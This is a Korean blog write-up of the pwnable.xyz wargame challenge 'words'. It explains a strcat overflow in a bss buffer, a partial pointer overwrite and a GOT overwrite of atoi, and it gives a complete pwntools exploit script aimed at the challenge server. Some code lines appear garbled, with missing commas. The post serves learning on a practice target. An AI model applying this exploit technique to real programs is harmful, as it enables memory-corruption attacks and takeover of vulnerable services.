본문으로 바로가기

pwnable.xyz / words

category Wargame/pwnable.xyz 2020. 5. 5. 20:37

3번 메뉴 (fill_handles) 에 로직 버그가 존재한다.

 

  q = read_int32();
  printf("Choose: \n1. vakzz\n2. kileak\n3. grazfather\n4. corb3nik\n5. rh0gue\n> ");
  q2 = read_int32();

  if ( q == 2 )
  {
    strcpy(a"The strongest crossfitter in OTA is ");
  }
  else
  {
    switch ( (unsigned __int64)q2 )
    {
      case 1uLL:
        strcpy(a"vakzz");
        break;
      case 2uLL:
        strcpy(a"kileak");
      case 3uLL:
        strcpy(a"grazfather");
        break;
      case 4uLL:
        strcpy(a"corb3nik");
        break;
      case 5uLL:
        strcpy(a"rh0gue");
        break;
      default:
        break;
    }
  }

  switch ( (unsigned __int64)q )
  {
    case 1uLL:
      strcat(a" says I suck at math :(.");
      break;
    case 2uLL:
      switch ( (unsigned __int64)q2 )
      {
        case 1uLL:
          strcat(a"vakzz");
          break;
        case 2uLL:
          strcat(a"kileak");
          break;
        case 3uLL:
          strcat(a"grazfather");
          break;
        case 4uLL:
          strcat(a"corb3nik");
          break;
        case 5uLL:
          strcat(a"rh0gue");
          break;
        default:
          goto LABEL_21;
      }
      break;
    case 3uLL:
      strcat(a" is a neural-network machine-learning AI.");
      break;
    case 4uLL:
      strcat(a" says \"F*ck Me Dead Mate!!\" when surprised.");
      break;
    case 5uLL:
      strcat(a" is a cheap imitation of corb0tnik.");
      break;
    default:
      break;
  }

 

만약 q가 2가 아니면서 q2가 1~5의 값이 아니라면 strcpy가 실행되지 않고 strcat만 실행되면서 a의 길이를 무한히 늘릴 수 있다.

 

.bss:0000000000610DA0                 public a
.bss:0000000000610DA0 ; char a[256]
.bss:0000000000610DA0 a               db 100h dup(?)          ; DATA XREF: fill_numbers+59↑w
.bss:0000000000610DA0                                         ; fill_numbers+A2↑w ...
.bss:0000000000610EA0 ; void *buf
.bss:0000000000610EA0 buf             dq ?                    ; DATA XREF: save_progress+8↑r
.bss:0000000000610EA0                                         ; save_progress+70↑w ...
.bss:0000000000610EA8                 align 20h
.bss:0000000000610EC0                 public reserve
.bss:0000000000610EC0 ; char reserve[4096]
.bss:0000000000610EC0 reserve         db 1000h dup(?)         ; DATA XREF: save_progress+69↑o

 

a 뒤에는 buf와 reverse가 있다.

 

void __fastcall save_progress()
{
  int size; // [rsp+4h] [rbp-Ch]

  if ( buf )
  {
    read(0, buf, 0x1000uLL);
  }
  else
  {
    printf("Size: ");
    size = read_int32();

    if ( (unsigned int)size <= 0xFFF )
    {
      puts("Invalid.");
      exit(1);
    }
    if ( malloc(size) )
    {
      read(0, bufsize);
    }
    else
    {
      buf = &reserve;
      read(0, &reserve, 0x1000uLL);
    }
  }
}

 

buf가 NULL이면, malloc(size)가 NULL이 아니면 바로 buf가 가리키는 곳으로 read를 하고, 그렇지 않으면 buf에 reverse의 주소를 넣는다.

size에 아주 큰 값이나 음수를 넣어서 값을 NULL로 만들고 buf에 reverse 주소를 쓴 뒤 a의 길이를 잘 늘려서 buf의 하위 1바이트에 0을 쓰면 buf의 값은 0x610E00이 된다. read로 buf 값을 got 주소로 바꾸고 got overwrite 해서 플래그를 얻으면 된다.

 

q에 1, 3, 4, 5를 넣으면 a의 길이는 각각 24, 41, 43, 35만큼 늘어난다. 256=24*4+35+41*2+43 으로 분해하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import argparse


def itob(i) :
    return str(i).encode()

def FillHandle(q:int) :
    p.writeafter(b'> 'b'3\x00')
    p.writeafter(b'> ', itob(q)+b'\x00')
    p.writeafter(b'> 'b'6\x00')

def SaveProgress(data:bytessize=None) :
    if size :
        p.writeafter(b'> 'b'5\x00')
        p.writeafter(b': ', itob(size)+b'\x00')
        p.write(data)
    else :
        p.writeafter(b'> 'b'5\x00')
        p.write(data)

def exploit() :
    atoi_got = 0x610B70

    SaveProgress(b'A', -1)
    FillHandle(1)
    FillHandle(1)
    FillHandle(1)
    FillHandle(1)
    FillHandle(3)
    FillHandle(3)
    FillHandle(4)
    FillHandle(5)

    payload = b'A'*0xA0
    payload += p64(atoi_got)

    SaveProgress(payload)
    SaveProgress(p64(0x4008E8))   # win

    p.writeafter(b'> 'b'0\x00')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30036fam='ipv4')
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/5/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / child  (0) 2020.05.06
pwnable.xyz / Car shop  (0) 2020.05.06
pwnable.xyz / notebook  (0) 2020.05.03
pwnable.xyz / nin  (0) 2020.05.02
pwnable.xyz / Dirty Turtle  (0) 2020.05.01